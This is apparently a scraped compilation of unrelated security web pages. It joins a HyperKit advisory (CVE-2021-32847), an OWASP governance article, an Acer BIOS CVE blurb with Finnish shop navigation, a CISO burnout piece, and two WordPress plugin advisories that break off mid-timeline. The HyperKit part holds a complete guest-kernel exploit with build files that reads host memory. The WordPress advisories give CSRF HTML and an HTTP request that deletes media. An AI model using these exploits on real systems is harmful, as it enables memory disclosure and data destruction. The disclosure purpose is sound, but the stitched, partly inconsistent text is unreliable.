HyperKit is a toolkit for embedding hypervisor capabilities in an application. In versions 0.20210107 and prior, a malicious guest can trigger a vulnerability in the host by abusing the disk driver that may lead to the disclosure of the host memory into the virtualized guest. This issue is fixed in commit cf60095a4d8c3cb2e182a14415467afd356e982f.

**Coordinated Disclosure Timeline**

*   2021-04-26: Maintainers contacted
*   2021-04-26: Maintainers acknowledged the receipt of the report
*   2021-09-14: Maintainers fixed the issues

**Summary**

A malicious guest can trigger a vulnerability in the host by abusing the disk driver that may lead to the disclosure of the host memory into the virtualized guest.

**Product**

hyperkit

**Tested Version**

v0.20210107

**Details****Issue 1: VBH\_OP\_DISCARD assertion turned into assignment (GHSL-2021-058)**

The function pci_vtblk_proc handles the arrival of virtio descriptors sent by the guest. These descriptors contain disk I/O operations to be performed by the host on the disk image that contains the operating system. The operation VBH_OP_DISCARD contains a vulnerability that allows an attacker to read memory outside of the guest address space.

On pci\_virtio\_block.c#L316 it can be seen how an assertion is used to verify the size of the incoming iov data structure. Unfortunately, a typo turns the equality operator into an assignment. In C, assignments return the value assigned so the assert will always be satisfied by any value of iov_len.

_Vulnerable call:_

    	case VBH_OP_DISCARD:
    		/* We currently limit the discard to one segment in the initial negotiation
    		   so expect exactly one correctly-sized payload descriptor. */
    		assert(iov[1].iov_len = sizeof(struct virtio_blk_discard_write_zeroes));
    		assert(n == 2);
    		vbdiscard = iov[1].iov_base;
    		io->io_req.br_offset = (off_t) vbdiscard->sector * DEV_BSIZE;
    		io->io_req.br_resid = vbdiscard->num_sectors * DEV_BSIZE;
    		err = blockif_delete(sc->bc, &io->io_req);
    		break;
    

By compiling hyperkit with AddressSanitizer the out of bounds access can be seen clearly on the following crash log.

_Host crashing:_

    (lldb) r -s 0:0,hostbridge -s 1,uart -s 4,virtio-blk,disk.img -f multiboot,poc
    Process 6867 launched: '/Users/goose/workspace/hyperkit/build/hyperkit.sym' (x86_64)
    vmx_set_ctlreg: cap_field: 4 bit: 12 unspecified don't care: bit is 0
    vmx_set_ctlreg: cap_field: 4 bit: 20 unspecified don't care: bit is 0
    vmx_set_ctlreg: cap_field: 3 bit: 13 unspecified don't care: bit is 0
    virtio-block: DISCARD op, 0x00000000 bytes, 1 segs
    =================================================================
    ==6867==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x000114482000 at pc 0x0001000dba06 bp 0x70000d5eb3f0 sp 0x70000d5eb3e8
    READ of size 4 at 0x000114482000 thread T3
        #0 0x1000dba05 in pci_vtblk_proc pci_virtio_block.c:322
        #1 0x1000da432 in pci_vtblk_notify pci_virtio_block.c:352
        #2 0x100134191 in vi_pci_write virtio.c:741
        #3 0x1000c6228 in pci_emul_io_handler pci_emul.c:364
        #4 0x100085cf5 in emulate_inout inout.c:243
        #5 0x100149b6a in vmexit_inout hyperkit.c:353
        #6 0x1001495ef in vcpu_loop hyperkit.c:631
        #7 0x1001443f2 in vcpu_thread hyperkit.c:278
        #8 0x7fff2046994f in _pthread_start+0xdf (libsystem_pthread.dylib:x86_64+0x694f)
        #9 0x7fff2046547a in thread_start+0xe (libsystem_pthread.dylib:x86_64+0x247a)
    
    0x000114482000 is located 0 bytes to the right of 268435456-byte region [0x000104482000,0x000114482000)
    allocated by thread T0 here:
        #0 0x1005d281f in wrap_valloc+0xaf (libclang_rt.asan_osx_dynamic.dylib:x86_64+0x4681f)
        #1 0x10006d8c6 in vmm_mem_alloc vmm_mem.c:49
        #2 0x1000417df in vm_malloc vmm.c:549
        #3 0x10004c645 in setup_memory_segment vmm_api.c:160
        #4 0x10004c3a9 in xh_vm_setup_memory vmm_api.c:192
        #5 0x100147372 in main hyperkit.c:1442
        #6 0x7fff20484620 in start+0x0 (libdyld.dylib:x86_64+0x15620)
    
    Thread T3 created by T0 here:
        #0 0x1005cc4ba in wrap_pthread_create+0x5a (libclang_rt.asan_osx_dynamic.dylib:x86_64+0x404ba)
        #1 0x100143d4e in vcpu_add hyperkit.c:307
        #2 0x100147a14 in main hyperkit.c:1522
        #3 0x7fff20484620 in start+0x0 (libdyld.dylib:x86_64+0x15620)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow pci_virtio_block.c:322 in pci_vtblk_proc
    Shadow bytes around the buggy address:
      0x1000228903b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1000228903c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1000228903d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1000228903e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1000228903f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x100022890400:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x100022890410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x100022890420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x100022890430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x100022890440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x100022890450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    

**Impact**

This issue leads to a guest reading memory outside its address space. In order to do so, a malicious guest can use this issue as an oracle, by putting the disk image into a known state and then proceeding to trigger the vulnerability. The VBH_OP_DISCARD operation will use an invalid iov[1].iov_base pointer to fill the virtio_blk_discard_write_zeroes structure with memory beyond the guest’s address space. A carefully crafted iov_base can be made such as the leaked data fills the field num_sectors therefore controlling the amount of sectors to be zeroed out by the discard operation. Now the attacker can read the amount of overwritten bytes the VBH_OP_DISCARD operation wrote.

To make this attack practical (writing an unknown 32 bit number of sectors to the disk can take some time) an attacker can carefully prepare the virtio_blk_discard_write_zeroes structure (by changing the offset of the original iov structure) to be filled with to be leaked data in smaller increments.

The impact of this vulnerability is exacerbated by the fact that in our tests, the guest memory is initialized on a MALLOC_LARGE zone that is located right before, and is contiguous with, a MALLOC_TINY which is prone to heap manipulation from the guest.

In the following snippet, it can be seen that the iov_base pointer falls into the zone 109000000-111000000 and

_Address of the pointer on lldb:_

    p iov[1].iov_base
    (void *) $0 = 0x0000000110fffff8
    

Virtual memory map of the exploited process:\_

    $ vmmap hyperkit
    ...
    MALLOC_LARGE                109000000-111000000    [128.0M     4K     4K     0K] rw-/rwx SM=ALI          DefaultMallocZone_0x1003d3000
    MALLOC_TINY                 111000000-111100000    [ 1024K    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x1003d3000
    VM_ALLOCATE                 111100000-111280000    [ 1536K  1176K  1176K     0K] rw-/rwx SM=PRV
    MALLOC_SMALL                111800000-112000000    [ 8192K    28K    28K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x1003d3000
    MALLOC_SMALL                112000000-112800000    [ 8192K    20K    20K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x1003d3000
    MALLOC_LARGE                112800000-11a800000    [128.0M  4204K  4204K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x1003d3000
    MALLOC_LARGE                11a800000-11a83a000    [  232K    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x1003d3000
    ...
    

**Proof of Concept**

The following PoC is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device virtio-blk enabled by passing hyperkit the command line flags -s 4,virtio-blk,disk.img for example.

Make sure you compile hyperkit with AddressSanitizer in order to catch the invalid read access.

In order to compile it follow the instructions in the resources section.

    #include <stdbool.h>
    #include <stddef.h>
    #include <stdint.h>
    #include <string.h>
    
    static void
    outw(uint16_t port, uint16_t value)
    {
        __asm__ __volatile__("outw %w0,%w1"
                             :
                             : "a"(value), "Nd"(port));
    }
    
    static void
    outl(uint16_t port, uint32_t value)
    {
        __asm__ __volatile__("outl %0,%w1"
                             :
                             : "a"(value), "Nd"(port));
    }
    
    struct __attribute__((packed)) vring_avail
    {
        uint16_t va_flags;  /* VRING_AVAIL_F_* */
        uint16_t va_idx;    /* counts to 65535, then cycles */
        uint16_t va_ring[]; /* size N, reported in QNUM value */
    };
    
    struct __attribute__((packed)) virtio_desc
    {                      /* AKA vring_desc */
        uint64_t vd_addr;  /* guest physical address */
        uint32_t vd_len;   /* length of scatter/gather seg */
        uint16_t vd_flags; /* VRING_F_DESC_* */
        uint16_t vd_next;  /* next desc if F_NEXT */
    };
    
    #define VRING_DESC_F_NEXT (1 << 0)
    #define VRING_DESC_F_WRITE (1 << 1)
    #define VRING_DESC_F_INDIRECT (1 << 2)
    
    #define VRING_AVAIL_F_NO_INTERRUPT 1
    
    struct __attribute__((packed)) virtio_blk_hdr
    {
    #define VBH_OP_READ 0
    #define VBH_OP_WRITE 1
    #define VBH_OP_FLUSH 4
    #define VBH_OP_FLUSH_OUT 5
    #define VBH_OP_IDENT 8
    #define VBH_OP_DISCARD 11
    #define VBH_OP_WRITE_ZEROES 13
    #define VBH_FLAG_BARRIER 0x80000000 /* OR'ed into vbh_type */
        uint32_t vbh_type;
        uint32_t vbh_ioprio;
        uint64_t vbh_sector;
    };
    
    void poc()
    {
        // 0. Choose an address that is mapped but unused.
        uintptr_t pfn = (uintptr_t)0x1000000;
    
        // Descriptors.
        struct virtio_desc *desc = (struct virtio_desc *)(pfn);
    
        // First descriptor.
        struct virtio_blk_hdr *vbh = (struct virtio_blk_hdr *)0x20000;
        vbh->vbh_type = VBH_OP_DISCARD;
        vbh->vbh_ioprio = 0;
        vbh->vbh_sector = 0;
    
        desc[0].vd_addr = vbh;
        desc[0].vd_len = sizeof(struct virtio_blk_hdr);
        desc[0].vd_next = 1;
        desc[0].vd_flags |= VRING_DESC_F_NEXT;
    
        // The first 8 bytes correspond to virtio_blk_discard_write_zeroes::sector
        // virtio_blk_discard_write_zeroes::num_sectors will be leaked memory
        uintptr_t addr = 0x10000000 - 8;
    
        // Second descriptor
        desc[1].vd_addr = addr;
        desc[1].vd_len = 0;
        desc[1].vd_next = 2;
        desc[1].vd_flags |= VRING_DESC_F_NEXT;
    
        // Third descriptor
        desc[2].vd_addr = 0x4000;
        desc[2].vd_len = 0x1;
        desc[2].vd_flags &= ~VRING_DESC_F_NEXT;
        desc[2].vd_flags |= VRING_DESC_F_WRITE;
    
        // Available descriptors.
        struct vring_avail *avail = (struct vring_avail *)(pfn + 0x800);
    
        avail->va_idx = 1;
        avail->va_flags |= VRING_AVAIL_F_NO_INTERRUPT;
        avail->va_ring[0] = 0;
    
        // 1. Select a queue.
        // VTCFG_R_QSEL = 0x0e
        outw(0x208e, 0);
    
        // 2. Initialize the queue to our address.
        // VTCFG_R_PFN = 0x08
        outl(0x2088, pfn / 4096);
    
        // 3. VTCFG_R_QNOTIFY
        outw(0x2080 | 0x10, 0);
    }
    
    int kernel_main(void)
    {
        poc();
        return 0;
    }
    

**Resources**

In order to compile each proof of concept code, place the code into a C file in a directory along with the provided files linker.ld and start.s. You will also need to install nasm and i686-elf-gcc:

_Compilation:_

    # Install compilation dependencies.
    brew install nasm i686-elf-gcc
    
    # Compile the kernel into a file named `poc`.
    nasm -felf32 -w+all -o start.o start.s
    i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -c poc.c -o poc.o
    i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -T linker.ld start.o poc.o -o poc -lgcc
    

_linker.ld_

    ENTRY(start)
     
    SECTIONS
    {
        . = 1M;
    
        .multiboot BLOCK(4K) : ALIGN(4K)
        {
            *(.multiboot)
        }
    
        .text BLOCK(4K) : ALIGN(4K)
        {
            *(.text)
        }
      
        .data BLOCK(4K) : ALIGN(4K)
        {
            *(.data)
        }
     
        .rodata BLOCK(4K) : ALIGN(4K)
        {
            *(.rodata)
        }
    
        .bss BLOCK(4K) : ALIGN(4K)
        {
            *(.common)
            *(.bss)
        } 
    }
    

_start.s_

    KERNEL_STACK_SIZE equ 0x4000
    
    [section .multiboot]
        MB_MODULEALIGN  equ  1 << 0
        MB_MEMINFO      equ  1 << 1
        MB_FLAGS        equ  MB_MODULEALIGN | MB_MEMINFO
        MB_MAGIC        equ  0x1BADB002
        MB_CHECKSUM     equ -(MB_MAGIC + MB_FLAGS)
    
        multiboot_header:
            dd MB_MAGIC
            dd MB_FLAGS
            dd MB_CHECKSUM
    
    [section .text]
        start:
            global start
            lgdt [gdt_temp_r]
            mov eax, 0x10
            mov ds, ax
            mov es, ax
            mov ss, ax
            jmp 0x08:kernel_entry
    
        kernel_entry:
            mov esp, kernel_stack + KERNEL_STACK_SIZE
            mov ebp, esp
            extern kernel_main
            call kernel_main
            jmp $
    
    [section .data]
        gdt_temp:
            dq 0x0000000000000000
            dq 0x00cf9a000000ffff
            dq 0x00cf92000000ffff
    
        gdt_temp_end:
        gdt_temp_r:
            dw gdt_temp_end - gdt_temp - 1
            dd gdt_temp
    
    [section .bss]
        align 32
        kernel_stack:
              resb KERNEL_STACK_SIZE
    

*   CVE-2021-32847

**Credit**

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-58 in any communication regarding this issue.

CVE-2021-32847: GHSL-2021-058: Disclosure of the host memory into the virtualized guest in hyperkit - CVE-2021-32847

A growing group of OWASP members and board leaders are calling for the AppSec group to make big changes to stay apace with modern development.

As the OWASP Foundation navigates its third decade of existence, many application security experts and OWASP volunteer contributors say it's time for the organization to make some big changes to stay relevant. This week, a group of over 60 high-profile OWASP members sent an open letter to the OWASP Board of Directors and to the foundation's executive director demanding significant changes to the foundation. Many of these co-signers were leaders of flagship OWASP projects, lifetime contributors, and former OWASP board members.

"OWASP simply isn't driving innovation anymore," says Contrast Security co-founder and CTO Jeff Williams, author of the first OWASP Top Ten, the OWASP chair from 2001 through 2011, and one of the co-signers. "Open source has changed, and OWASP needs to keep up by supporting contributors better."

Among the signatories were also two current board members, Glenn ten Cate and Mark Curphey. While Curphey says the letter is the result of mutual collaboration within the group, it also aligns very closely with a manifesto he published last year as a part of his successful bid for a seat on the 2023 board. As the founder of OWASP, Curphey hadn't been directly involved with the organization for some time, but had always been a supporter and advocate for OWASP while he was busy being a security practitioner, security product leader, and entrepreneur in the application security space.

Curphey focused on the following three major points during his campaign for the board:

*   to change the funding model of OWASP to look more like how Linux Foundation and its Open Software Security Foundation works with donors to support their project,
*   to install a chief product officer to lead the charge to clean up projects (and prioritize the high-impact ones) as well as renovate the OWASP site to make it more developer friendly, and
*   to change the culture of OWASP to eliminate red tape and to add more transparency in how vendors are (or are not) involved in the OWASP mission.

The open letter echoes many of these points, while calling for a change in governance that could fuel a drastic effort in fundraising that they feel could pull in millions of dollars to hire dedicated developers and project leaders.

**OWASP Then and Now**

When OWASP was founded way back in 2001, it was a scrappy labor of love founded by application security advocates who were concerned about the mounting risk to the Internet posed by insecure Web applications. They wanted to boost awareness of the problem outside the bubble of cybersecurity insiders. And so OWASP was born to help deliver education and resources to not just security professionals, but also developers and enterprise stakeholders.

The idea was to give organizations technical guidance that could enable developers to improve their coding practices and reduce the risk of vulnerabilities in the software they deployed. This was the genesis of the OWASP Top 10, the group's vaunted list of the 10 riskiest flaws in applications that was first published in 2003 and which has since spawned numerous updates and sub-lists, and which has fueled a whole host of security open source projects, commercial products, and services.

Lots of things have changed since those early years. The awareness piece of OWASP has certainly hit its mark, and today the group has grown to support over 240 chapters and tens of thousands of members and participants around the world. It hosts a full slate of local and global events, and a number of projects like the Top 10, the Software Assurance Maturity Model (SAMM), and Zed Attack Proxy (ZAP).

However, the scope of application security work to be done has broadened considerably as the world has moved way beyond Web applications and is now awash with mobile apps, IoT and embedded systems, wearables, and everything in between — all of which is driven by software.

And the development environment has radically changed, too. Modern development practices have coopted methods like continuous integration/continuous delivery (CI/CD), DevOps, and Agile development to take over from traditional waterfall development patterns. Developers lean heavily on microservices architectures and mix-and-match open source components to build out their software.

Unfortunately, in the face of all that change, some things have also stayed the same. Many of the issues on that first OWASP Top 10 are just as problematic today and still on the list, including injection flaws, misconfigurations, and authentication failures. Now, though, these nagging problems that have never gone away are only exacerbated by the expanded scope, the speed of development, and the tangle of software supply chain dependencies that have been added to the mix over the years.

**Clamoring for Change**

In the context of these factors, many OWASP insiders argue that the nonprofit has not kept up with the pace of change within the software development world. They say the foundation isn't supporting the needs of the OWASP community, especially in regard to the foundation's flagship projects, which includes over a dozen projects among OWASP's 274 other projects.

"What worked in the past simply isn’t working now and OWASP needs to change. Year after year, concerns have been raised and there have been promises of change, but year after year it hasn't happened," said the open letter to the OWASP Board of Directors and to the foundation's executive director. "The gap between what our projects and the community around them want, and the support that OWASP provides, continues to grow wider."

With the publication of this latest missive, the letter's cosigners say that some of OWASP's most impactful projects — ones that are relied upon by many enterprises and by products enterprises use today — are left to "operate independently, in some cases managing their own sponsorships, finance, websites, domains, communication platforms, and developer tools."

The signatories are clamoring for some drastic changes in funding models and governance to get the group back to serving the needs of developers in the context of modern software delivery models. They developed an action list consists of five major points, calling the foundation and board to:

1.  develop a community plan that prioritizes key initiatives, pointing to the OSSF plan as a reference
2.  change the foundation's governance structure to "better reflect the need of the entire security community"
3.  establish an aggressive funding campaign to raise $5 million to $10 million to pay for dedicated developers, community managers, and support staff
4.  improve centralized infrastructure and services for the community to take the heat off the projects
5.  take a more centralized hand in managing the product portfolio and what goes on in local chapters

Williams says he signed because he felt that the changes the group called for are "unfortunately necessary."

"OWASP has a glaring hole in not having a financial plan built from the bottom up based on project needs," he says. "Without that, it's impossible to fundraise effectively. Writing down an aggressive funding plan, going after some big funding increments, and taking on more aggressive projects is the only way to keep OWASP moving quickly."

**Next-Step Realities**

The question is whether the foundation and the OWASP community is willing and able to make some of these changes. According to Chenxi Wang, a former OWASP board member, there are many items in the proposal that are "much needed" since she believes OWASP has devolved into an organization that doesn't do much more than run events.

"But some of the other items seem to be too ambitious for OWASP, which has a volunteer board and a small operating staff. For example, the item to 'actively manage the project portfolio and chapters' would require a substantial effort going forward, which may not be something the foundation can do with today's resources," she says. "Also, the proposal about funding prioritized projects would require a change to today's model and may disenfranchise newer projects."

As she sees it, the proposal is going to require drastic changes to the funding model, the community model, and the way funds are distributed.

"To do all of this in one swoop is going to be too disruptive," Wang says. "A phased approach is the only way to make this happen."

For his part, OWASP Foundation executive director Andrew van der Stock says he also agrees with many of the points in the letter. The day after the letter was published, the proposals were presented at the foundation's monthly board meeting. He says the meeting went well, and he agrees that the board needs to set a prioritized plan anyway as a part of their fiduciary duty.

"Beyond the way it was presented, there's nothing in there that we disagree with," he says of the letter. "I think creating a plan within 30 days is definitely doable. My major concern is really around if we don't manage to achieve all of the five goals in a timeframe that the projects want us to achieve it in."

He also does wonder whether the board's current bylaws and the will of the OWASP community's paying members will allow for the kind of governance and funding changes the co-signers want. For example, OWASP isn't set up the way the OSSF organization is, which currently has a board that consists of members that buy their seats through corporate membership and pay significantly to retain those seats. OWASP currently has about 7,000 financial members in addition to the 80,000 people who participate in the community through events, chapter meetings, and projects. That paying membership includes individuals who pay $50 a year, lifetime members who pay $500, and corporate sponsors who pay $5,000 and up, depending on the level of support they want to give.

"I don't think our community would support that change. It's one of those things that I think is going to be a little bit unrealistic," says van der Stock, who adds that these kinds of changes would require a change in OWASP bylaws, which are already in the last stages of being overhauled to a set of "fairly standard" nonprofit bylaws in response to a discovery about a year ago that the original bylaws were invalid according to Delaware General Corporate Law. That routine procedure alone required an extensive process that included a vote by the general membership.

Nevertheless, van der Stock says that OWASP could definitely flourish if the board can find a way to pull in more funding.

"If we could get between $5 million and $10 million a year, we could get a lot done. If we could get people to work on projects full-time, these things would appear much quicker and probably with much higher quality," he says, noting that the foundation currently only has five staffers on its roster. "I think the only friction really, and the only thing that might be contested, is the governance model. I think our community would have a lot to say about that."

This is the concern from Williams as well.

"I'm worried that OWASP won't be able to respond to the letter, given the current governance structures," he says.

But according to Curphey, the board meeting was a good start to laying out the change-makers' proposal and considering next steps.

"The board meeting was positive," he says. "There's still a long way to go, but we'll see. I did have to leave early to attend another board meeting, but when I left was very pleased with progress and desire from current board to adapt and change."

**Why Should CISOs Care?**

The big question for CISOs and security practitioners is whether any of this internal jockeying at OWASP really matters to them. According to Wang, the decisions and actions the foundation makes today may not necessarily directly impact CISOs right now. But it could have a long-term ripple effect that influences the kind of technology options they'll have for helping developers in the long run.

"This could result in better support of emergent technologies, which down the line could impact the way practitioners adopt these technologies," she says.

Is OWASP at Risk of Irrelevance?

Stack overflow vulnerability in Aspire E5-475G 's BIOS firmware, in the FpGui module, a second call to GetVariable services allows local attackers to execute arbitrary code in the UEFI DXE phase and gain escalated privileges.

**

KARNEVAALITARJOUS

JOPA -30 %

**

SÄÄSTÄ

**Acerin kansainvälinen lehdistötilaisuus 2023**

Katso kooste

**Make Your Green Mark**

Tutustu ympäristöystävälliseen Acer Vero -valikoimaan

Explore

**Selaa suosittuja kategorioita**

*   **Kannettavat**
    
*   **Pöytätietokoneet**
    
*   **Näytöt**
    
*   **Projektorit**
    
*   **Chromebookit**
    
*   **Lisävarusteet**
    

*   **Parhaat tarjoukset**
    
    Tutustu Acerin virallisen verkkokaupan erikoistarjouksiin. Säästä rahaa ja hanki parasta tekniikkaa.
    
    Osta nyt
    
*   **YRITYSKUUKAUSI**
    
    10 % ALENNUSTA KAIKISTA TUOTTEISTA
    
    SÄÄSTÄ
    

*   **Windows 11**
    
    Esittelyssä Windows 11
    
    Lisätietoja
    
*   **Project Humanity**
    
    Sosiaalisen vaikutuksen laajentaminen
    
    Lisätietoja
    
*   **Acer Vero**
    
    Vihreät tietokonetuotteet
    
    Lisätietoja
    
*   **Acerin antimikrobiset ratkaisut**
    
    Nykyaikaista suojausta
    
    Lisätietoja

CVE-2022-40080: Acerin kannettavat, pöytäkoneet, Chromebookit, monitorit ja projektorit | Acer Suomi

Information security is a high-stakes field with sky-high expectations. Here's how CISOs can offset the pressures and stay healthy.

John has built a stellar reputation as a problem solver and cyber defender. Yet, today, John, the chief information security officer of a major manufacturing company, is frantically trying to find out why the CEO had been unable to retrieve or send any emails for the past four hours. The CEO is extremely irate, and as John takes in the barrage of anger, John begins to feel fear sinking into his chest. Would this incident tarnish his hard-earned reputation? Will he lose his job?

John prides himself on having answers and receiving praise for fixing problems, so he is taking this situation to heart. He started his IT security career as an analyst. He was incredibly talented at spotting gaps in security posture and determining creative ways to close those gaps. John's intelligence and innovation helped him quickly climb the ranks to CISO. However, each level of promotion brought with it increasing challenges and demands.

As an analyst, John's responsibility was confined to himself and his specific role. The CISO role has widened John's scope of responsibility immensely. He now has to manage a team of people with varying personalities; budget and request funds for projects; communicate and build relationships with other business leaders within his company; negotiate and buy products and services from vendors; and meet a number of other responsibilities. John also has to find time to be a husband, to be a father, and to take care of his own physical and mental health.

It doesn't help that John's leadership expects the IT security department to protect 100% against malicious threats targeting their company. John and his team are expected to perform perfectly. It's an unrealistic and unreasonable expectation, which leads to high stress and burnout. Unfortunately, many are in this position.

**What Leaders Should Do**

Had there been someone coaching John, he would have been taught about effective leadership traits that would help him have less emotional fallout in this scenario. There are three core tactics John could use to keep from questioning his own efficacy or suffering burnout.

**1\. See mistakes as a learning opportunity.** Mistakes happen. They are a part of life. Those who thrive see mistakes as learning opportunities and ways to get better. Accept any mistake as what it is: an outcome you did not want. Investigate what led to that outcome, determine what alternative choices were available, and understand what better option exists moving forward.

**2\. Control the controllables.** There are not a lot of things in our control. For example, we have no control over how others respond (like a yelling CEO), if a salesperson gives us all the information we need to make an educated purchase, if employees leave the company, if it's going to rain, or a litany of other things. Focusing on things outside of our control will lead to increased fear and manifesting more of what we do not want.

However, we do have the ability to focus on what we have control over. We have control over how we respond to situations; we have control over our energy, effort, and attitude; and we have control over how we choose to model for others. Focusing on what we control will not guarantee things work out. However, it will allow us to have more sanity and certainty we are doing the right things at the right time, which will increase our chances of success.

**3\. Remain calm.** When threats to our safety (real or perceived) occur, we instinctively go into survival mode — fight, flight, or freeze. In times of fear and panic, our cortex disconnects from the cerebellum, known in psychology as a "flipped lid." We lose our ability to critically think and problem-solve. Our breathing also becomes faster and shorter. You can get back to calm through your breath.

Box breathing is a simple and effective technique for recovering a mental space in which you can problem-solve. It employs four equal parts, just like the sides of a box. You inhale for 5 seconds, hold at the top of that breath for 5 seconds, exhale for 5 seconds, and hold at the bottom of that exhale for 5 seconds. Repeat this process for a minimum of 5 rounds or more.

**Reduce Stress to Reduce Turnover**

Stress is on the rise within the IT security space, which leads to problems like burnout and employee turnover. The 2022 Global Chief Information Security Officer (CISO) Survey from management consulting firm Heidrick & Struggles shows some concerning statistics. The survey showed stress (60%) and burnout (53%) were the top responses as being the most significant personal risks to CISOs in the United States.

People are leaving CISO roles for other operational positions, pursuing consulting opportunities, or not entering the CISO roles altogether. This exacerbates two big issues in the industry: not enough talent to fill seats and employee retention.

"They're \[CISOs\] choosing to punch out," Matt Aiello, partner and leader of the cyber practice at Heidrick & Struggles, told CNBC recently. "What we're hearing in off-line conversations is that it's a great role, but it's very hard and the regulatory pressures are increasing, and that makes being a CISO even more challenging."

Awareness and prioritization of mental health support and performance coaching is growing in this industry. In 2018, for example, the Black Hat conferences introduced a community track focused on mental health and other nontechnical topics that's continued to this day.

Being an IT security leader is hard. There are so many challenges to being effective in the role — unrealistic expectations of protecting your organization 100%, not getting the funding you need to purchase resources, difficulties finding and retaining good talent, etc. Ineffective leadership skills make this job harder. You and your team can thrive if you learn how to lead effectively and avoid burnout.

3 Ways CISOs Can Lead Effectively and Avoid Burnout

WordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.

RCE Security Advisory  
https://www.rcesecurity.com

1. ADVISORY INFORMATION  
=======================  
Product:        Quiz And Survey Master  
Vendor URL:     https://wordpress.org/plugins/quiz-master-next/  
Type:           Cross-Site Request Forgery (CSRF) [CWE-352]  
Date found:     2023-01-13  
Date published: 2023-02-08  
CVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)  
CVE:            CVE-2023-0292

2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.

3. VERSIONS AFFECTED  
====================  
Quiz And Survey Master 8.0.8 and below

4. INTRODUCTION  
===============  
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used  
to create engaging content to drive traffic and increase user engagement.  
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee  
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)

5. VULNERABILITY DETAILS  
========================  
The plugin offers the ajax action "qsm_remove_file_fd_question" which is used to  
delete uploaded media contents from the WordPress instance. However, the  
functionality is not protected by an anti-CSRF token/nonce.

Since there is no anti-CSRF token protecting this functionality, it is vulnerable  
to Cross-Site Request Forgery attacks allowing an attacker to delete uploaded  
media contents on behalf of the attacked user.

To successfully exploit this vulnerability, a user with the right to access the  
plugin must be tricked into visiting an arbitrary website while having an  
authenticated session in the application.

6. PROOF OF CONCEPT  
===================  
The following Proof-of-Concept would delete the uploaded media with the ID "1":

<html>  
    
  <body>  
  <script>history.pushState('', '', '/')</script>  
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">  
      <input type="hidden" name="action" value="qsm_remove_file_fd_question" />  
      <input type="hidden" name="media_id" value="1" />  
      <input type="submit" value="Submit request" />  
    </form>  
  </body>  
</html>

7. SOLUTION  
===========  
Update to version 8.0.9

8. REPORT TIMELINE  
==================  
2023-01-13: Discovery of the vulnerability  
2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291  
2023-01-18: Sent initial notification to vendor via contact form  
2022-01-18: Vendor response  
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability  
2022-02-08: Public disclosure

9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories

WordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery

WordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.

RCE Security Advisory  
https://www.rcesecurity.com

1. ADVISORY INFORMATION  
=======================  
Product:        Quiz And Survey Master  
Vendor URL:     https://wordpress.org/plugins/quiz-master-next/  
Type:           Missing Authentication for Critical Function [CWE-306]  
Date found:     2023-01-13  
Date published: 2023-02-08  
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)  
CVE:            CVE-2023-0291

2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.

3. VERSIONS AFFECTED  
====================  
Quiz And Survey Master 8.0.8 and below

4. INTRODUCTION  
===============  
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used  
to create engaging content to drive traffic and increase user engagement.  
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee  
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)

5. VULNERABILITY DETAILS  
========================  
The plugin offers the ajax action "qsm_remove_file_fd_question" to unauthenticated  
users which accepts a "media_id" parameter pointing to a any item uploaded through  
WordPress' media upload functionality. However, this "media_id" is afterward used  
in a forced wp_delete_attachment() call ultimately deleteing the media from the  
WordPress instance.

Successful exploits can allow an unauthenticated attacker to delete any (and all)  
uploaded WordPress media files.

6. PROOF OF CONCEPT  
===================  
The following Proof-of-Concept would delete the uploaded media with the ID "1":

POST /wp-admin/admin-ajax.php HTTP/2  
Host: localhost  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 44

action=qsm_remove_file_fd_question&media_id=1

7. SOLUTION  
===========  
Update to version 8.0.9

8. REPORT TIMELINE  
==================  
2023-01-13: Discovery of the vulnerability  
